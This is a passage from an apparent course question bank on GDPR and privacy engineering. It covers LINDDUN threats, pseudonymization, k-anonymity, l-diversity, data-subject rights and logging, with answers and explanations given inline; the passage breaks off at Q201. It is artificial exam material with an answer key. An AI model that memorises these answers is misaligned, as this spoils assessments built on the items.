Lecture source: p. 38

Q112. [Scenario] A controller publishes a clear privacy notice but still collects data for an unrelated secondary purpose. Which statement is most accurate?

- A. Transparency alone is not enough; use limitation and purpose limitation remain relevant
- B. A privacy notice permits every secondary use automatically
- C. Purpose limitation applies only to anonymous data
- D. Transparency eliminates the need for a legal basis

Answer: A. Transparency alone is not enough; use limitation and purpose limitation remain relevant

Why: Multiple controls and principles may apply simultaneously.

Lecture source: pp. 28, 39

Q113. [Classification] Which LINDDUN-style privacy property is described here: Determining that two records, actions, or objects are related?

- A. Detectability
- B. Disclosure
- C. Unawareness
- D. Linkability
- E. Non-repudiation
- F. Identifiability

Answer: D. Linkability

Why: The description corresponds to linkability.

Lecture source: p. 40

Q114. [Classification] Which LINDDUN-style privacy property is described here: Connecting an object or record to a specific natural person or other identifiable subject?

- A. Detectability
- B. Non-repudiation
- C. Disclosure
- D. Linkability
- E. Identifiability
- F. Unawareness

Answer: E. Identifiability

Why: The description corresponds to identifiability.

Lecture source: p. 40

Q115. [Classification] Which LINDDUN-style privacy property is described here: Producing evidence such that a party cannot deny an action?

- A. Unawareness
- B. Detectability
- C. Identifiability
- D. Disclosure
- E. Linkability
- F. Non-repudiation

Answer: F. Non-repudiation

Why: The description corresponds to non-repudiation.

Lecture source: p. 40

Q116. [Classification] Which LINDDUN-style privacy property is described here: Determining that an object or event exists?

- A. Identifiability
- B. Unawareness
- C. Non-repudiation
- D. Detectability
- E. Linkability
- F. Disclosure

Answer: D. Detectability

Why: The description corresponds to detectability.

Lecture source: p. 40

Q117. [Classification] Which LINDDUN-style privacy property is described here: Exposing information to unauthorized subjects?

- A. Linkability
- B. Non-repudiation
- C. Identifiability
- D. Disclosure
- E. Detectability
- F. Unawareness

Answer: D. Disclosure

Why: The description corresponds to disclosure.

Lecture source: p. 40

Q118. [Classification] Which LINDDUN-style privacy property is described here: A user is unaware of personal data being submitted or processed?

- A. Unawareness
- B. Disclosure
- C. Identifiability
- D. Non-repudiation
- E. Linkability
- F. Detectability

Answer: A. Unawareness

Why: The description corresponds to unawareness.

Lecture source: p. 40

Q119. [Scenario] A system claims to hide identities, but stable device fingerprints allow records from multiple visits to be connected. Which privacy threat is most directly involved?

- A. Linkability
- B. Storage limitation
- C. Physical resilience
- D. Availability

Answer: A. Linkability

Why: Stable identifiers can allow records to be related even when names are absent.

Lecture source: pp. 40-41, 43

Q120. [Scenario] A website silently transmits analytics identifiers without making the user aware of the submission. Which LINDDUN-style threat is most directly involved?

- A. DPIA documentation only
- B. Data accuracy
- C. Unawareness
- D. Availability

Answer: C. Unawareness

Why: The user is unaware that data is submitted or processed.

Lecture source: p. 40

Q121. [Scenario] An IP address, MAC address, session identifier, biometric feature, or behavioral pattern can be used to associate activity with a subject. Which two privacy concerns are especially relevant?

- A. Availability and resilience
- B. Identifiability and linkability
- C. Contract and vital interests
- D. Erasure and restoration only

Answer: B. Identifiability and linkability

Why: The framework example shows how multiple technical identifiers can support identification and linking.

Lecture source: p. 41

5. Pseudonymization, anonymity, and de-identification

21 questions. Correct answers and explanations appear immediately below each item.

Q122. [Single answer] Which definition best matches pseudonymization?

- A. Deleting every record from a database
- B. Publishing direct identifiers but encrypting only the user interface
- C. Processing that prevents attribution to a specific data subject without additional information, often by removing or replacing direct identifiers
- D. A guarantee that re-identification is mathematically impossible in all circumstances

Answer: C. Processing that prevents attribution to a specific data subject without additional information, often by removing or replacing direct identifiers

Why: Pseudonymization uses additional information or secrets to separate direct attribution from the processed dataset.

Lecture source: p. 42

Q123. [Comparison] Which statement best distinguishes anonymization from pseudonymization?

- A. Anonymization always means encrypting a name field with a reversible key
- B. The two terms are interchangeable
- C. Pseudonymization is always stronger because it guarantees irreversibility
- D. Anonymization aims at irreversible de-identification, whereas pseudonymization is generally reversible with additional information

Answer: D. Anonymization aims at irreversible de-identification, whereas pseudonymization is generally reversible with additional information

Why: Strict anonymization seeks irreversibility. Pseudonymization generally allows re-attribution with additional information.

Lecture source: pp. 42-46

Q124. [Single answer] Which statement about strictly anonymized data is most accurate in the lecture?

- A. Strict anonymization is identical to tokenization
- B. Anonymous data always permits inference about every individual
- C. Strictly anonymized data must always be treated exactly like directly identified personal data
- D. The GDPR does not apply to strictly anonymized data

Answer: D. The GDPR does not apply to strictly anonymized data

Why: The lecture states that the GDPR does not apply to strictly anonymized data.

Lecture source: p. 44

Q125. [Single answer] Which statement about pseudonymized data is most accurate?

- A. Pseudonymization eliminates every linkability and inference risk
- B. Pseudonymization does not automatically remove accountability obligations
- C. Pseudonymized data is necessarily anonymous and outside every GDPR obligation
- D. Pseudonymized data can never be re-attributed with additional information

Answer: B. Pseudonymization does not automatically remove accountability obligations

Why: Pseudonymization remains subject to accountability and does not automatically eliminate all privacy risks.

Lecture source: pp. 43-44

Q126. [Select all that apply] Which are common pseudonymization techniques? Select all that apply.

- A. Tokenization
- B. Hashing
- C. Masking
- D. Publishing unmodified direct identifiers
- E. Encryption

Answer: A. Tokenization; B. Hashing; C. Masking; E. Encryption

Why: The lecture lists encryption, hashing, masking, and tokenization.

Lecture source: p. 46

Q127. [Scenario] A payment platform replaces a card number with a token and stores the mapping separately under access controls. Which concept is most directly illustrated?

- A. Tokenization as a pseudonymization technique
- B. Differential privacy only
- C. Strict anonymization with no possible re-attribution
- D. Data destruction

Answer: A. Tokenization as a pseudonymization technique

Why: Tokenization substitutes a controlled token for a direct identifier while a protected mapping may remain available.

Lecture source: p. 46

Q128. [Scenario] A dataset replaces first names with asterisks but leaves postal codes, dates of birth, and detailed incomes untouched. Which conclusion is most accurate?

- A. Masking a first name always prevents linkability and inference
- B. Quasi-identifiers are irrelevant to privacy analysis
- C. The dataset is automatically strictly anonymous
- D. Masking direct identifiers may be insufficient because quasi-identifiers can still support re-identification

Answer: D. Masking direct identifiers may be insufficient because quasi-identifiers can still support re-identification

Why: Quasi-identifiers can support singling out, linkability, and inference even after direct identifiers are masked.

Lecture source: pp. 43, 47

Q129. [Classification] Which de-identification risk is described here: It remains possible to isolate records relating to a given individual?

- A. Inference
- B. Linkability
- C. Singling out

Answer: C. Singling out

Why: The description corresponds to singling out.

Lecture source: p. 43

Q130. [Scenario] A privacy review finds that it remains possible to isolate records relating to a given individual. Which risk should the team record?

- A. Singling out
- B. Inference
- C. Linkability

Answer: A. Singling out

Why: The identified risk is singling out.

Lecture source: p. 43

Q131. [Classification] Which de-identification risk is described here: It remains possible to connect multiple records relating to an individual across one or more datasets?

- A. Linkability
- B. Inference
- C. Singling out

Answer: A. Linkability

Why: The description corresponds to linkability.

Lecture source: p. 43

Q132. [Scenario] A privacy review finds that it remains possible to connect multiple records relating to an individual across one or more datasets. Which risk should the team record?

- A. Linkability
- B. Singling out
- C. Inference

Answer: A. Linkability

Why: The identified risk is linkability.

Lecture source: p. 43

Q133. [Classification] Which de-identification risk is described here: It remains possible to infer an attribute value with significant probability from other attributes?

- A. Singling out
- B. Inference
- C. Linkability

Answer: B. Inference

Why: The description corresponds to inference.

Lecture source: p. 43

Q134. [Scenario] A privacy review finds that it remains possible to infer an attribute value with significant probability from other attributes. Which risk should the team record?

- A. Linkability
- B. Singling out
- C. Inference

Answer: C. Inference

Why: The identified risk is inference.

Lecture source: p. 43

Q135. [Single answer] Which risk does pseudonymization generally address most directly, while not guaranteeing protection against every inference risk?

- A. Network latency
- B. Storage capacity
- C. Availability
- D. Linkability

Answer: D. Linkability

Why: The lecture notes that pseudonymization generally addresses linkability, while inference-related identification is not guaranteed to be prevented.

Lecture source: p. 43

Q136. [Scenario] A controller no longer needs to identify individuals for its processing purpose. Which design direction is most consistent with the lecture?

- A. Keep every identifier forever regardless of purpose
- B. Avoid maintaining or acquiring extra identifying information solely for compliance if identification is no longer needed
- C. Collect more direct identifiers as a precaution
- D. Publish the re-identification mapping

Answer: B. Avoid maintaining or acquiring extra identifying information solely for compliance if identification is no longer needed

Why: The lecture highlights that controllers should not acquire or maintain extra identifying information solely to comply where identification is no longer required for the purpose.

Lecture source: p. 44

Q137. [Single answer] Which definition best describes an anonymity set?

- A. The number of rows in a database regardless of distinguishability
- B. The list of encryption keys held by administrators
- C. The set of subjects within which an object or individual is not identifiable
- D. The set of controllers that process only backups

Answer: C. The set of subjects within which an object or individual is not identifiable

Why: Anonymity is framed as not being identifiable within a set of subjects.

Lecture source: p. 48

Q138. [Single answer] Which statement about anonymity-set size is most accurate?

- A. Set size is irrelevant in every case
- B. Anonymity cannot be considered probabilistically
- C. A larger set can improve anonymity, but size alone is not sufficient; probability distribution also matters
- D. A large set always guarantees perfect anonymity regardless of distribution

Answer: C. A larger set can improve anonymity, but size alone is not sufficient; probability distribution also matters

Why: The lecture emphasizes both set size and the distribution of probabilities, including entropy-related reasoning.

Lecture source: pp. 48-49

Q139. [Scenario] A user is one of 1,000 possible individuals, but one individual has a 99 percent probability of being the observed user. Which conclusion is most accurate?

- A. The system provides perfect anonymity solely because the set has 1,000 members
- B. The system is strictly anonymous because names are absent
- C. The large anonymity set alone does not guarantee strong anonymity because probabilities are uneven
- D. Probability distributions never matter for anonymity

Answer: C. The large anonymity set alone does not guarantee strong anonymity because probabilities are uneven

Why: Anonymity depends on both the set size and the distribution across subjects.

Lecture source: p. 49

Q140. [True / False] Pseudonymization and anonymization are interchangeable terms.

- A. True
- B. False

Answer: B. False

Why: Pseudonymization is generally reversible with additional information; anonymization aims for irreversibility.

Lecture source: pp. 42-46

Q141. [True / False] A dataset can create inference risks even when direct identifiers have been removed.

- A. False
- B. True

Answer: B. True

Why: Inference from other attributes remains a core de-identification risk.

Lecture source: p. 43

Q142. [True / False] A larger anonymity set always guarantees stronger anonymity even when one subject is overwhelmingly more likely than the others.

- A. True
- B. False

Answer: B. False

Why: Probability distributions matter, not merely the number of subjects.

Lecture source: p. 49

6. Aggregation, re-coding, k-anonymity, l-diversity, and randomization

33 questions. Correct answers and explanations appear immediately below each item.

Q143. [Single answer] What is the primary goal of anonymization?

- A. Reversible mapping to direct identifiers in every case
- B. Irreversible de-identification with defenses against singling out, linkability, and inference
- C. Maximum retention of direct identifiers
- D. Replacing only the user-interface color scheme

Answer: B. Irreversible de-identification with defenses against singling out, linkability, and inference

Why: Anonymization seeks irreversible de-identification and should address multiple attack classes.

Lecture source: p. 50

Q144. [Select all that apply] Which are anonymization-related methods or concepts identified in the lecture? Select all that apply.

- A. Aggregation
- B. l-diversity
- C. Re-coding
- D. Differential privacy
- E. t-closeness
- F. Permutation and randomization
- G. Plaintext publication of direct identifiers
- H. k-anonymity

Answer: A. Aggregation; B. l-diversity; C. Re-coding; D. Differential privacy; E. t-closeness; F. Permutation and randomization; H. k-anonymity

Why: The lecture lists these as common anonymization methods or properties.

Lecture source: p. 50

Q145. [Scenario] A dataset replaces detailed ages with age ranges and reports group averages rather than individual values. Which technique is most directly involved?

- A. Extraterritoriality
- B. Breach notification
- C. Aggregation
- D. Token leakage

Answer: C. Aggregation

Why: Aggregation reduces detail by reporting group-level values such as means.

Lecture source: p. 51

Q146. [Scenario] A dataset replaces small municipalities with broader regional labels such as Aarhus or Copenhagen. Which technique is most directly involved?

- A. Credential rotation
- B. Re-coding
- C. Data destruction only
- D. Purpose expansion

Answer: B. Re-coding

Why: Re-coding generalizes or remaps values into broader categories.

Lecture source: p. 52

Q147. [Single answer] Which statement about k-anonymity is most accurate?

- A. It is identical to breach notification
- B. It guarantees that sensitive attributes are diverse within each group
- C. It is a universal encryption algorithm
- D. It is a property requiring each subject to be indistinguishable from at least $k - 1$ other subjects

Answer: D. It is a property requiring each subject to be indistinguishable from at least $k - 1$ other subjects

Why: k-anonymity is described as a property, not a single universal method.

Lecture source: p. 53

Q148. [Single answer] What is the maximum re-identification probability suggested by k-anonymity under its basic framing?

- A. $1 - k$
- B. $1/k$
- C. $k - 1$
- D. k

Answer: B. $1/k$

Why: The lecture notes the basic maximum probability as $1/k$.

Lecture source: p. 53

Q149. [Scenario] A released dataset satisfies 4-anonymity under its quasi-identifiers. What basic maximum re-identification probability follows from the k-anonymity framing?

- A. $1/4$
- B. $1/2$
- C. 4
- D. $3/4$

Answer: A. $1/4$

Why: For k-anonymity, the basic maximum re-identification probability is $1/k$.

Lecture source: p. 53

Q150. [Scenario] A released dataset satisfies 10-anonymity under its quasi-identifiers. What basic maximum re-identification probability follows from the k-anonymity framing?

- A. 10
- B. $1/10$
- C. $9/10$
- D. $1/5$

Answer: B. $1/10$

Why: For k-anonymity, the basic maximum re-identification probability is $1/k$.

Lecture source: p. 53

Q151. [Single answer] Which methods are commonly used to obtain k-anonymity?

- A. Only digital signatures
- B. Only firewall rules
- C. Masking and re-coding
- D. Only encryption-key escrow

Answer: C. Masking and re-coding

Why: The lecture notes masking and re-coding as common techniques for obtaining k-anonymity.

Lecture source: p. 53

Q152. [Scenario] Every row in an equivalence group has the same disease condition. The dataset is 2-anonymous, but a person's condition can still be inferred from the group. Which limitation is illustrated?

- A. The dataset is necessarily strictly anonymous
- B. Linkability is impossible whenever $k > 1$
- C. Data minimization always prevents every inference
- D. k -anonymity may fail to protect sensitive-attribute diversity

Answer: D. k -anonymity may fail to protect sensitive-attribute diversity

Why: k -anonymity alone may leave sensitive attributes homogeneous within a group.

Lecture source: pp. 55-57

Q153. [Single answer] What is the key idea of l -diversity?

- A. A k -anonymous group should contain multiple values for a sensitive attribute
- B. Every dataset should contain exactly one sensitive value per group
- C. All rows should be public to improve transparency
- D. Only network logs should be anonymized

Answer: A. A k -anonymous group should contain multiple values for a sensitive attribute

Why: l -diversity addresses weaknesses of k -anonymity by requiring diversity in sensitive attributes.

Lecture source: pp. 55-57

Q154. [Scenario] An equivalence class contains four records with two cardiovascular conditions and two cancer conditions. Which property is more plausibly supported than in a class where all four records show cancer?

- A. 2-diversity
- B. A complete absence of any privacy risk
- C. Unlimited retention
- D. Direct identification

Answer: A. 2-diversity

Why: The group contains at least two sensitive-attribute values, improving diversity.

Lecture source: pp. 55-57

Q155. [Comparison] Which statement best distinguishes k -anonymity from l -diversity?

- A. k -anonymity protects sensitive-value diversity automatically in all cases
- B. l -diversity removes every need for risk analysis
- C. k -anonymity focuses on indistinguishability among records; l -diversity adds diversity of sensitive values within groups
- D. The terms are identical

Answer: C. k -anonymity focuses on indistinguishability among records; l -diversity adds diversity of sensitive values within groups

Why: l -diversity aims to address an important weakness of k -anonymity.

Lecture source: pp. 53-57

Q156. [Single answer] Which statement best describes randomization in anonymization?

- A. Randomization means retaining data forever
- B. Noise may be added to attributes to reduce disclosure risk
- C. Every direct identifier must be published before analysis
- D. Noise always creates perfect anonymity automatically

Answer: B. Noise may be added to attributes to reduce disclosure risk

Why: Randomization commonly adds noise to attributes, but quality and attack resistance require careful analysis.

Lecture source: pp. 58-59

Q157. [Select all that apply] Which mistakes can undermine randomization-based anonymization? Select all that apply.

- A. Adding inconsistent or out-of-bounds noise
- B. Ignoring background distributions that may aid inference
- C. Evaluating whether noise damages utility
- D. Assuming that noise alone solves sparsity and linkability problems
- E. Adding noise only to a few correlated attributes

Answer: A. Adding inconsistent or out-of-bounds noise; B. Ignoring background distributions that may aid inference; D. Assuming that noise alone solves sparsity and linkability problems; E. Adding noise only to a few correlated attributes

Why: Randomization can fail when correlation, sparse data, inconsistent noise, and linkability are ignored. Utility evaluation is a prudent practice, not a mistake.

Lecture source: p. 59

Q158. [Scenario] A research team adds small noise to salary but leaves strongly correlated job title, seniority, and department untouched. Which concern is most appropriate?

- A. The GDPR no longer applies solely because one column changed
- B. The dataset is automatically strictly anonymous
- C. Correlated attributes may still enable inference despite the added noise
- D. Noise guarantees the elimination of all linkability

Answer: C. Correlated attributes may still enable inference despite the added noise

Why: Adding noise to only one or a few correlated attributes can leave strong inference paths.

Lecture source: p. 59

Q159. [Scenario] A system injects negative noise that produces impossible ages and inconsistent records. Which weakness is illustrated?

- A. The problem is purely a firewall configuration issue
- B. The dataset is now a lawful basis
- C. Out-of-bounds or inconsistent noise can undermine the method
- D. The system has achieved perfect anonymity

Answer: C. Out-of-bounds or inconsistent noise can undermine the method

Why: Noise must be applied rigorously; inconsistent and out-of-bounds values can create quality and privacy problems.

Lecture source: p. 59

Q160. [Single answer] Which randomization-based approach is identified as a preferred modern technique, while not covered in depth in the lecture?

- A. Password hashing
- B. Public-key infrastructure only
- C. Differential privacy
- D. Network address translation

Answer: C. Differential privacy

Why: The lecture identifies differential privacy as a preferred randomization-based anonymization technique but does not cover it in detail.

Lecture source: p. 59

Q161. [True / False] k-anonymity is a property rather than one universal anonymization algorithm.

- A. False
- B. True

Answer: B. True

Why: There is no universal method for obtaining k-anonymity.

Lecture source: p. 53

Q162. [True / False] 2-anonymity automatically guarantees that a sensitive diagnosis cannot be inferred from an equivalence class.

- A. False
- B. True

Answer: A. False

Why: If every record in the class shares the same diagnosis, sensitive information can still be inferred.

Lecture source: pp. 55-57

Q163. [True / False] Adding noise to data always guarantees strict anonymization.

- A. False
- B. True

Answer: A. False

Why: Randomization can be undermined by poor assumptions, correlations, sparsity, linkability, and inconsistent noise.

Lecture source: pp. 58-59

Q164. [Calculation] A dataset satisfies 2-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. $1/2$
- B. $1/3$
- C. $1/4$
- D. 2

Answer: A. $1/2$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/2$.

Lecture source: p. 53

Q165. [Calculation] A dataset satisfies 3-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. $1/3$
- B. $1/4$
- C. 3
- D. $1/6$

Answer: A. $1/3$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/3$.

Lecture source: p. 53

Q166. [Calculation] A dataset satisfies 4-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. 4
- B. $1/4$
- C. $1/8$
- D. $1/5$

Answer: B. $1/4$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/4$.

Lecture source: p. 53

Q167. [Calculation] A dataset satisfies 5-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. $1/6$
- B. $1/10$
- C. $1/5$
- D. 5

Answer: C. $1/5$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/5$.

Lecture source: p. 53

Q168. [Calculation] A dataset satisfies 8-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. $1/16$
- B. $1/8$
- C. 8
- D. $1/9$

Answer: B. $1/8$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/8$.

Lecture source: p. 53

Q169. [Calculation] A dataset satisfies 10-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. $1/20$
- B. 10
- C. $1/11$
- D. $1/10$

Answer: D. $1/10$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/10$.

Lecture source: p. 53

Q170. [Calculation] A dataset satisfies 20-anonymity. Under the basic $1/k$ framing, what is the maximum re-identification probability?

- A. $1/40$
- B. $1/20$
- C. $1/21$
- D. 20

Answer: B. $1/20$

Why: The basic maximum re-identification probability is $1/k$, so it is $1/20$.

Lecture source: p. 53

Q171. [Calculation] An aggregation step replaces the values 10, 20 with their arithmetic mean. What value should be reported?

- A. 15
- B. 10
- C. 30
- D. 20

Answer: A. 15

Why: Aggregation can replace detailed records with group-level summaries such as arithmetic means.

Lecture source: p. 51

Q172. [Calculation] An aggregation step replaces the values 5, 15, 25 with their arithmetic mean. What value should be reported?

- A. 15
- B. 10
- C. 20
- D. 45

Answer: A. 15

Why: Aggregation can replace detailed records with group-level summaries such as arithmetic means.

Lecture source: p. 51

Q173. [Calculation] An aggregation step replaces the values 100, 200, 300, 400 with their arithmetic mean. What value should be reported?

- A. 1000
- B. 245
- C. 250
- D. 255

Answer: C. 250

Why: Aggregation can replace detailed records with group-level summaries such as arithmetic means.

Lecture source: p. 51

Q174. [Calculation] An aggregation step replaces the values 1390, 30000 with their arithmetic mean. What value should be reported?

- A. 31390
- B. 15700
- C. 15690
- D. 15695

Answer: D. 15695

Why: Aggregation can replace detailed records with group-level summaries such as arithmetic means.

Lecture source: p. 51

Q175. [Calculation] An aggregation step replaces the values 39, 50000 with their arithmetic mean. What value should be reported?

- A. 25019.5
- B. 25014.5
- C. 25024.5
- D. 50039

Answer: A. 25019.5

Why: Aggregation can replace detailed records with group-level summaries such as arithmetic means.

Lecture source: p. 51

7. Data-subject rights and software-functional requirements

22 questions. Correct answers and explanations appear immediately below each item.

Q176. [Classification] Which data-subject right is best represented by this requirement: Provide understandable information about personal-data processing?

- A. Right to object to processing
- B. Right to rectification
- C. Right to access
- D. Right to portability
- E. Right to individual decision-making
- F. Right to be informed
- G. Right to be informed about data breaches
- H. Right to cancel consent
- I. Right to erasure
- J. Right to place restrictions

Answer: F. Right to be informed

Why: The requirement corresponds to the right to be informed.

Lecture source: pp. 61-63, 75

Q177. [Classification] Which data-subject right is best represented by this requirement: Allow a data subject to view personal data held about them?

- A. Right to cancel consent
- B. Right to be informed
- C. Right to access
- D. Right to erasure
- E. Right to individual decision-making
- F. Right to rectification
- G. Right to portability
- H. Right to place restrictions
- I. Right to be informed about data breaches
- J. Right to object to processing

Answer: C. Right to access

Why: The requirement corresponds to the right to access.

Lecture source: pp. 61-63, 75

Q178. [Classification] Which data-subject right is best represented by this requirement: Allow incorrect personal data to be corrected?

- A. Right to be informed about data breaches
- B. Right to rectification
- C. Right to object to processing
- D. Right to access
- E. Right to cancel consent
- F. Right to be informed
- G. Right to erasure
- H. Right to portability
- I. Right to individual decision-making
- J. Right to place restrictions

Answer: B. Right to rectification

Why: The requirement corresponds to the right to rectification.

Lecture source: pp. 61-63, 75

Q179. [Classification] Which data-subject right is best represented by this requirement: Support deletion of personal data when the right applies?

- A. Right to portability
- B. Right to be informed
- C. Right to rectification
- D. Right to cancel consent
- E. Right to erasure
- F. Right to be informed about data breaches
- G. Right to individual decision-making
- H. Right to place restrictions
- I. Right to object to processing
- J. Right to access

Answer: E. Right to erasure

Why: The requirement corresponds to the right to erasure.

Lecture source: pp. 61-63, 75

Q180. [Classification] Which data-subject right is best represented by this requirement: Allow a data subject to withdraw previously granted consent?

- A. Right to portability
- B. Right to place restrictions
- C. Right to individual decision-making
- D. Right to be informed
- E. Right to erasure
- F. Right to access
- G. Right to rectification
- H. Right to cancel consent
- I. Right to be informed about data breaches
- J. Right to object to processing

Answer: H. Right to cancel consent

Why: The requirement corresponds to the right to cancel consent.

Lecture source: pp. 61-63, 75

Q181. [Classification] Which data-subject right is best represented by this requirement: Mark personal data so that processing is restricted?

- A. Right to portability
- B. Right to be informed about data breaches
- C. Right to be informed
- D. Right to access
- E. Right to individual decision-making
- F. Right to rectification
- G. Right to object to processing
- H. Right to cancel consent
- I. Right to erasure
- J. Right to place restrictions

Answer: J. Right to place restrictions

Why: The requirement corresponds to the right to place restrictions.

Lecture source: pp. 61-63, 75

Q182. [Classification] Which data-subject right is best represented by this requirement: Allow a data subject to object to certain processing?

- A. Right to be informed
- B. Right to portability
- C. Right to individual decision-making
- D. Right to cancel consent
- E. Right to rectification
- F. Right to access
- G. Right to place restrictions
- H. Right to erasure
- I. Right to be informed about data breaches
- J. Right to object to processing

Answer: J. Right to object to processing

Why: The requirement corresponds to the right to object to processing.

Lecture source: pp. 61-63, 75

Q183. [Classification] Which data-subject right is best represented by this requirement: Provide personal data in a usable machine-readable format where the right applies?

- A. Right to erasure
- B. Right to portability
- C. Right to object to processing
- D. Right to individual decision-making
- E. Right to cancel consent
- F. Right to be informed about data breaches
- G. Right to rectification
- H. Right to be informed
- I. Right to place restrictions
- J. Right to access

Answer: B. Right to portability

Why: The requirement corresponds to the right to portability.

Lecture source: pp. 61-63, 75

Q184. [Classification] Which data-subject right is best represented by this requirement: Support appropriate human involvement in important decisions rather than relying only on automated AI or ML?

- A. Right to cancel consent
- B. Right to individual decision-making
- C. Right to portability
- D. Right to access
- E. Right to be informed about data breaches
- F. Right to rectification
- G. Right to erasure
- H. Right to place restrictions
- I. Right to object to processing
- J. Right to be informed

Answer: B. Right to individual decision-making

Why: The requirement corresponds to the right to individual decision-making.

Lecture source: pp. 61-63, 75

Q185. [Classification] Which data-subject right is best represented by this requirement: Communicate qualifying high-risk personal-data breaches to affected natural persons?

- A. Right to place restrictions
- B. Right to access
- C. Right to cancel consent
- D. Right to portability
- E. Right to be informed
- F. Right to erasure
- G. Right to individual decision-making
- H. Right to object to processing
- I. Right to rectification
- J. Right to be informed about data breaches

Answer: J. Right to be informed about data breaches

Why: The requirement corresponds to the right to be informed about data breaches.

Lecture source: pp. 61-63, 75

Q186. [Scenario] A data subject requests a structured CSV export of their personal data. Which right is most directly involved?

- A. Right to be informed about a breach
- B. Right to erasure
- C. Right to restrict processing
- D. Right to portability

Answer: D. Right to portability

Why: Portability can be supported through machine-readable exports such as CSV or JSON.

Lecture source: pp. 61-63

Q187. [Scenario] A data subject identifies an incorrect date of birth in a user profile and asks the controller to correct it. Which right is most directly involved?

- A. Right to be informed only
- B. Right to erasure
- C. Right to object only
- D. Right to rectification

Answer: D. Right to rectification

Why: Rectification supports correction of inaccurate personal data.

Lecture source: p. 61

Q188. [Scenario] A person asks a controller to stop processing a disputed record temporarily while the matter is investigated. Which right is most directly involved?

- A. Right to place restrictions
- B. Right to public-interest processing
- C. Right to be informed about a breach
- D. Right to portability

Answer: A. Right to place restrictions

Why: Restriction is distinct from deletion and modification.

Lecture source: pp. 61-62

Q189. [Scenario] A user withdraws consent that was the legal basis for a service and no other basis applies. Which next step is commonly implicated?

- A. The controller should automatically retain the data forever
- B. The controller should publish the data
- C. Deletion may need to follow because the basis for continued processing has ended
- D. The withdrawal is irrelevant because consent can never be cancelled

Answer: C. Deletion may need to follow because the basis for continued processing has ended

Why: The lecture highlights an overlap between withdrawing consent and erasure in many cases.

Lecture source: p. 62

Q190. [Scenario] A record is under a processing restriction. Which action is generally inconsistent with the restriction while it remains active?

- A. Explain the restriction workflow to the data subject
- B. Protect the record against unauthorized access
- C. Track that the restriction exists
- D. Modify or delete the restricted record as if no restriction existed

Answer: D. Modify or delete the restricted record as if no restriction existed

Why: The lecture notes that restrictions imply the associated data cannot be deleted, modified, or updated simultaneously.

Lecture source: p. 62

Q191. [Single answer] Which rights group is likely most relevant for software engineering and persistence-layer functionality?

- A. Rights concerning only copyright licensing
- B. Rights concerning data access, rectification, erasure, restrictions, and portability
- C. Rights concerning only physical office access
- D. Rights concerning only router availability

Answer: B. Rights concerning data access, rectification, erasure, restrictions, and portability

Why: The lecture identifies the data-related rights group as especially relevant to engineering.

Lecture source: pp. 62-63

Q192. [Select all that apply] Which software capabilities can support data-subject rights? Select all that apply.

- A. User interfaces for access requests
- B. Erasure workflows
- C. Restriction flags and processing controls
- D. Machine-readable exports
- E. Ignoring requests unless a breach has occurred
- F. Persistence-layer operations for rectification

Answer: A. User interfaces for access requests; B. Erasure workflows; C. Restriction flags and processing controls; D. Machine-readable exports; F. Persistence-layer operations for rectification

Why: Data-subject rights often require both persistence-layer functionality and user-facing request mechanisms.

Lecture source: pp. 63-66

Q193. [Scenario] A significant loan decision is made entirely by an opaque automated model, and the user cannot obtain appropriate human review. Which right is most directly implicated?

- A. Right to object to every contract automatically
- B. Right to portability only
- C. Right to erasure only
- D. Right to individual decision-making

Answer: D. Right to individual decision-making

Why: The lecture describes a debated right concerning important decisions made by a human rather than solely by automated systems.

Lecture source: p. 63

Q194. [Scenario] A small organization handles few GDPR requests. Which statement best reflects the lecture?

- A. It may sometimes satisfy rights with manual processes or prepared scripts rather than a complex dedicated architecture
- B. Small organizations are exempt from all rights
- C. Manual handling is always unlawful
- D. Every organization must implement the same microservice architecture

Answer: A. It may sometimes satisfy rights with manual processes or prepared scripts rather than a complex dedicated architecture

Why: The GDPR does not impose a single specific software architecture, and proportional implementation choices can be considered.

Lecture source: p. 69

Q195. [True / False] Every data-subject right requires an identical technical implementation in every organization.

- A. True
- B. False

Answer: B. False

Why: The GDPR does not mandate one specific software architecture; implementation should be assessed in context.

Lecture source: p. 69

Q196. [True / False] A machine-readable data export can support portability.

- A. True
- B. False

Answer: A. True

Why: The lecture mentions JSON and CSV-style dumps as plausible current mechanisms for portability.

Lecture source: p. 63

Q197. [True / False] A processing restriction is identical to erasure.

- A. False
- B. True

Answer: A. False

Why: Restriction means controlled limitations on processing, not necessarily deletion.

Lecture source: pp. 61-62

8. Logging, backups, architecture, development data, and documentation

16 questions. Correct answers and explanations appear immediately below each item.

Q198. [Single answer] Why is rigorous logging relevant to GDPR-oriented system design?

- A. Logging exists only to maximize data retention without purpose
- B. Logs replace every privacy right
- C. Logging is unrelated to accountability
- D. Controllers may need records of processing, requests, transfers, disclosures, purposes, data categories, and safeguards

Answer: D. Controllers may need records of processing, requests, transfers, disclosures, purposes, data categories, and safeguards

Why: Logging and records can support traceability, accountability, and processing documentation.

Lecture source: pp. 66-67, 76

Q199. [Select all that apply] Which items may be relevant to records of personal-data processing? Select all that apply.

- A. GDPR requests and fulfillment
- B. Security measures used
- C. Transfers to third parties
- D. Categories of personal data
- E. Purpose of processing
- F. Unrelated secrets that are not needed for accountability

Answer: A. GDPR requests and fulfillment; B. Security measures used; C. Transfers to third parties; D. Categories of personal data; E. Purpose of processing

Why: Records should be rigorous but also balanced against minimization. Unnecessary secrets should not be logged.

Lecture source: pp. 32, 66-67

Q200. [Scenario] A security team logs authentication events but also stores plaintext passwords in the logs. Which response is most appropriate?

- A. Keep plaintext passwords forever because more logs are always better
- B. Retain justified security events but remove unnecessary sensitive content such as plaintext passwords
- C. Publish the logs to make the system transparent
- D. Disable every security log regardless of risk

Answer: B. Retain justified security events but remove unnecessary sensitive content such as plaintext passwords

Why: Logging requires balancing security value against privacy, minimization, and confidentiality.

Lecture source: pp. 32, 67, 70

Q201. [Scenario] A university registration system is being designed. Which logging approach is most defensible?

- A. Never log any event under any circumstance
